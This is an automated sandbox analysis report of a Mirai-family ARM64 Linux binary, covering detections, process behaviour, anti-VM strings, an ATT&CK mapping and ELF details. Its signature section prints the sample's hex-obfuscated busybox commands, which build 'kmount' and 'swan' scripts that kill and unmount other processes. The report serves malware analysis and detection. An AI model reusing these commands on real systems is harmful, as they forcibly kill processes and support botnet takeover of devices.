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Linux Analysis Report
aarch64.elf

Overview

General Information

Sample name:	aarch64.elf
Analysis ID:	1654503
MD5:	b04f2c908ae03d968772afea5b8d9ef6
SHA1:	6e6693a671702fd5b28159ce4d667594b0df7f09
SHA256:	bef534487d664ec1c2e49bd6ff2cb94f6ad26b4ffc954c1f63e4f53a2377e33f
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Enumerates processes within the "proc" file system

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1654503
Start date and time:	2025-04-02 11:49:37 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	aarch64.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/4@2/0

Runtime Messages

Command:	/tmp/aarch64.elf
PID:	5487
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	For God so loved the world
Standard Error:

Process Tree

system is lnxubuntu20

aarch64.elf (PID: 5487, Parent: 5414, MD5: 02e8e39e1b46472a60d128a6da84a2b8) Arguments: /tmp/aarch64.elf

aarch64.elf New Fork (PID: 5491, Parent: 5487)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
aarch64.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5491.1.0000000000400000.0000000000419000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5487.1.0000000000400000.0000000000419000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: aarch64.elf	Virustotal: Detection: 39%			Perma Link
Source: aarch64.elf	ReversingLabs: Detection: 36%

Source: /tmp/aarch64.elf (PID: 5491)

Socket: 127.0.0.1:22448

Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x77\x68\x69\x6c\x65\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x3b\x20\x64\x6f\x20\x6d\x70\x3d\x24\x28\x65\x63\x68\x6f\x20\x22\x24" > kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6c\x22\x20\x7c\x20\x61\x77\x6b\x20\x27\x7b\x70\x72\x69\x6e\x74\x20\x24\x32\x7d\x27\x20\x7c\x20\x73\x65\x64\x20\x27\x73\x2f\x5c" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5c\x30\x34\x30\x2f\x20\x2f\x67\x27\x29\x3b\x20\x63\x61\x73\x65\x20\x22\x24\x6d\x70\x22\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5b\x30\x2d\x39\x5d\x2a\x29\x20\x70\x69\x64\x3d\x24\x7b\x6d\x70\x23\x2f\x70\x72\x6f\x63\x2f\x7d\x3b\x20\x5b\x20\x2d\x64\x20\x22" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x2f\x70\x72\x6f\x63\x2f\x24\x70\x69\x64\x22\x20\x5d\x20\x26\x26\x20\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x22\x20" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26\x26\x20\x75\x6d\x6f\x75\x6e\x74\x20\x22\x24\x6d\x70\x22\x20\x32\x3e\x2f\x64" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x2f\x70\x72\x6f\x63\x2f\x6d\x6f\x75" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x74\x73" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x75\x6d\x3d\x22\x24\x7b\x70\x69\x64\x23\x23\x2a\x2f\x7d\x22\x3b\x20\x69\x66\x20\x5b\x20\x2d\x72\x20\x22\x24\x70\x69\x64\x2f" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6d\x61\x70\x73\x22\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x74\x72\x75\x65\x3b\x20\x77" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x68\x69\x6c\x65\x20\x49\x46\x53\x3d\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x69\x6e\x65\x3b\x20\x64\x6f\x20\x63\x61\x73\x65\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x22\x24\x6c\x69\x6e\x65\x22\x20\x69\x6e\x20\x2a\x22\x2f\x6c\x69\x62\x2f\x22\x2a\x7c\x2a\x22\x2f\x6c\x69\x62\x36\x34\x2f\x22\x2a" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x7c\x2a\x22\x2e\x73\x6f\x22\x2a\x29\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x66\x61\x6c\x73\x65\x3b\x20\x62\x72\x65\x61" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x22\x24\x70\x69\x64\x2f\x6d\x61\x70\x73\x22\x3b\x20\x69\x66" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x20\x5b\x20\x22\x24\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x22\x20\x3d\x20\x74\x72\x75\x65\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x5f\x6e\x75\x6d\x22\x3b\x20\x66\x69\x3b\x20\x66\x69\x3b\x20\x64\x6f\x6e\x65" >> swan
Source: Initial sample	String containing 'busybox' found: sh kmount/bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/4@2/0

Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3760/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3761/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3759/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1577/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3758/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1593/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3094/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3406/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1589/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/1588/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3402/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/806/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/807/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/928/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/3420/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/490/fd	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/aarch64.elf (PID: 5487)	File opened: /proc/252/cmdline	Jump to behavior

Source: /tmp/aarch64.elf (PID: 5487)

Queries kernel information via 'uname':

Jump to behavior

Source: aarch64.elf, 5487.1.000055bb28278000.000055bb28364000.rw-.sdmp, aarch64.elf, 5491.1.000055bb28278000.000055bb28364000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/aarch64
Source: aarch64.elf, 5491.1.000000000042b000.0000000000438000.rw-.sdmp	Binary or memory string: vmware
Source: aarch64.elf, 5487.1.000000000042b000.0000000000438000.rw-.sdmp, aarch64.elf, 5491.1.000000000042b000.0000000000438000.rw-.sdmp	Binary or memory string: qemu-arm
Source: aarch64.elf, 5487.1.000055bb28278000.000055bb28364000.rw-.sdmp, aarch64.elf, 5491.1.000055bb28278000.000055bb28364000.rw-.sdmp	Binary or memory string: U1/etc/qemu-binfmt/aarch64O
Source: aarch64.elf, 5491.1.000000000042b000.0000000000438000.rw-.sdmp	Binary or memory string: CWcDwXR44ZAkzslsN0 a1gCWFxqAHsFWFMWT3YA!a1gAWFxuAXsFWUgBRQAA!a1gAWFxuAXsAWUgKRXgA!a1gAWFxuAXsAWEgJR3IA!a10CWFxuAHsGWVcWQHAA!a10CWFxuAHsGWVcWQHUA!aFwAWF9uA3sGW0gLRgAA!aFwAWFlpG2QBW0gJTwAA!qemu-arm2QBW0gJTwAA!vmware!/bin/bash!/bin/dash!/bin/shh!/proc/mounts!9.9.9.9unts!1.1.1.1!8.8.8.8!8.8.4.4
Source: aarch64.elf, 5487.1.00007ffcabddf000.00007ffcabe00000.rw-.sdmp, aarch64.elf, 5491.1.00007ffcabddf000.00007ffcabe00000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-aarch64/tmp/aarch64.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/aarch64.elf
Source: aarch64.elf, 5491.1.00007ffcabddf000.00007ffcabe00000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: aarch64.elf, 5487.1.00007ffcabddf000.00007ffcabe00000.rw-.sdmp, aarch64.elf, 5491.1.00007ffcabddf000.00007ffcabe00000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-aarch64

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: aarch64.elf, type: SAMPLE
Source: Yara match	File source: 5491.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5487.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: aarch64.elf, type: SAMPLE
Source: Yara match	File source: 5491.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5487.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

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Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
aarch64.elf	39%	Virustotal		Browse
aarch64.elf	36%	ReversingLabs	Linux.Backdoor.Gafgyt

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	efea6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	xd.powerpc-440fp.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	xd.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	xd.ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	xd.i686.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	xd.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	xd.arc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	mpsl.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/tmp/qemu-open.KEPP14 (deleted)

Download File

Process:	/tmp/aarch64.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.8521687236032816
Encrypted:	false
SSDEEP:	3:Tg80l:Tg8c
MD5:	6EA4D0DB8D845A86C7B09CF0667A2CB5
SHA1:	CE980AAA61B3974BA1C86B48D56CAA6A2BE3E9A1
SHA-256:	9AA96AD31F9C5CB1D9FAA1939C33156D29F6EB7FF422C58541452493FEA19ECD
SHA-512:	A43E0EF92BDE7860BB256540693113AE6594F12017132F7408425FC03074FFE05121C4320FD6126F66802528583AB7A54D3FABBA3E70EB1D9DABFA816EBAFFD9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/aarch64.elf.

/tmp/qemu-open.Orpdk6 (deleted)

Download File

Process:	/tmp/aarch64.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.8521687236032816
Encrypted:	false
SSDEEP:	3:Tg80l:Tg8c
MD5:	6EA4D0DB8D845A86C7B09CF0667A2CB5
SHA1:	CE980AAA61B3974BA1C86B48D56CAA6A2BE3E9A1
SHA-256:	9AA96AD31F9C5CB1D9FAA1939C33156D29F6EB7FF422C58541452493FEA19ECD
SHA-512:	A43E0EF92BDE7860BB256540693113AE6594F12017132F7408425FC03074FFE05121C4320FD6126F66802528583AB7A54D3FABBA3E70EB1D9DABFA816EBAFFD9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/aarch64.elf.

/tmp/qemu-open.dDEK47 (deleted)

Download File

Process:	/tmp/aarch64.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	17
Entropy (8bit):	3.8521687236032816
Encrypted:	false
SSDEEP:	3:Tg80l:Tg8c
MD5:	6EA4D0DB8D845A86C7B09CF0667A2CB5
SHA1:	CE980AAA61B3974BA1C86B48D56CAA6A2BE3E9A1
SHA-256:	9AA96AD31F9C5CB1D9FAA1939C33156D29F6EB7FF422C58541452493FEA19ECD
SHA-512:	A43E0EF92BDE7860BB256540693113AE6594F12017132F7408425FC03074FFE05121C4320FD6126F66802528583AB7A54D3FABBA3E70EB1D9DABFA816EBAFFD9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/aarch64.elf.

/tmp/qemu-open.vjxbG4 (deleted)

Download File

Process:	/tmp/aarch64.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	380
Entropy (8bit):	3.7032713034203284
Encrypted:	false
SSDEEP:	6:URFtDFxJY/VUk/FYDFxvRqT/VGuVE/VKV9/VO4VVyAb/r:I//JZMQ/vVaEAW4VIAbr
MD5:	915BE83EEEC67819CD24EAEC48A3AF14
SHA1:	43CDFC5D3E6B5A8CC740D085920070F0FABD7BA9
SHA-256:	6D33DA7188D1636C40E6CEC4A974E4B10DE5E3A5D72D21AB9A5B26D075086E24
SHA-512:	F9AAA1AD62D0A82D63DA78F0CD97299F704CF2E1FF621A9E9030C2D838E7C7DE0D48A81DF5D8111D42CD33D0E88F4427B58B9CB32D02CADE63420CB265D7F98D
Malicious:	false
Reputation:	low
Preview:	400000-419000 r-xp 00000000 fd:00 531606 /tmp/aarch64.elf.429000-42b000 rw-p 00019000 fd:00 531606 /tmp/aarch64.elf.42b000-438000 rw-p 00000000 00:00 0 .4000000000-4000001000 ---p 00000000 00:00 0 .4000001000-4000801000 rw-p 00000000 00:00 0 [stack].4000801000-4000802000 r--p 00000000 fd:00 793309 /usr/lib/x86_64-linux-gnu/libm-2.31.so.

Static File Info

General

File type:	ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.371700428978695
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	aarch64.elf
File size:	108'416 bytes
MD5:	b04f2c908ae03d968772afea5b8d9ef6
SHA1:	6e6693a671702fd5b28159ce4d667594b0df7f09
SHA256:	bef534487d664ec1c2e49bd6ff2cb94f6ad26b4ffc954c1f63e4f53a2377e33f
SHA512:	d335c46a9bc63ca6354b6da87b1ecba7ee2a7277d5dcfd25d77dd80b08a82a908d0f57f2fb110a9734f7fbd95ac7e155fab394fa2852805ba1c6223f682c1314
SSDEEP:	1536:yMkDJZpOwvUWjwn4EBmXxGrNHRZPEUsPn3NprC1kNIiGtyzHmf+S:yVDRFvnjSEKNHRZPEUm9I1ayt1+S
TLSH:	36B36CA42D0E7DE3C3CBC3BE9F088961711B71B4C95153F2BE1263DDD2DA9AA99E0450
File Content Preview:	.ELF.....................&@.....@...................@.8...@.......................@.......@.....@.......@.................................B.......B..... ....... .................................B.......B.............................Q.td...................

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	AArch64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4026b8
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	4
Section Header Offset:	107648
Section Header Size:	64
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400158	0x158	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x400180	0x180	0x15f30	0x0	0x6	AX	64
.fini	PROGBITS	0x4160b0	0x160b0	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x4160c0	0x160c0	0x2c80	0x0	0x2	A	16
